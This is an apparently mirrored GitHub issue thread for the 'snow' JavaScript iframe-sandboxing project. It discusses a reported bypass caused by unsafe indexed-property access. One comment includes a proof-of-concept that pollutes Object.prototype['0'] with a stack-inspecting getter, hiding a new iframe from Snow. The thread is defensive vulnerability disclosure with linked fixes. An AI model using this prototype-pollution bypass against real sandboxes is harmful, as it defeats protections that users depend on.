GithubHelp home page GithubHelp logo

Comments (6)

gibson042 avatar gibson042 commented on September 28, 2024 1

Note that the prototype of an arguments object is just the primordial Object.prototype (cf. CreateUnmappedArgumentsObject and CreateMappedArgumentsObject).

from snow.

weizman avatar weizman commented on September 28, 2024 1

I think an important conclusion here is that in contrast to the title of this issue, the exploit is not about the arguments object specifically, but it's about Snow not being careful when accessing indexed properties.

as proof, in the exploit poc, arguments.__proto__ can be replaced with Object.prototype/Array.prototype and it'll still work

from snow.

kumavis avatar kumavis commented on September 28, 2024

nice find @benjamingr

from snow.

benjamingr avatar benjamingr commented on September 28, 2024

Thanks, cool project! I warmly recommend figuring out how to run static analysis to find these (which would be a cool project on its own) :)

Otherwise it's "whack a mole" with "did you find all the places JS is surprisingly dynamic in your code and all the places the DOM allows insertion".

from snow.

naugtur avatar naugtur commented on September 28, 2024

Conclusion: It's also doable in strict mode

(function() {
"use strict"
  Object.defineProperty(Object.prototype, '0', {
    get() {
      const whereAmI = (new Error).stack;
      if (whereAmI.includes('hook')) {
        this.length = 0; // empty frames array
        return undefined;
      }
      return this.payload;  
    },
    set(value) {
      // debugger;
      this.length = 1;
      this.payload = value;
    }
  });
})();

const fr = document.createElement('iframe');
document.body.appendChild(fr);
fr.contentWindow.alert.call(null, 'pwn');

from snow.

weizman avatar weizman commented on September 28, 2024

solution in progress

#14

EDIT:

#15 is better

from snow.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.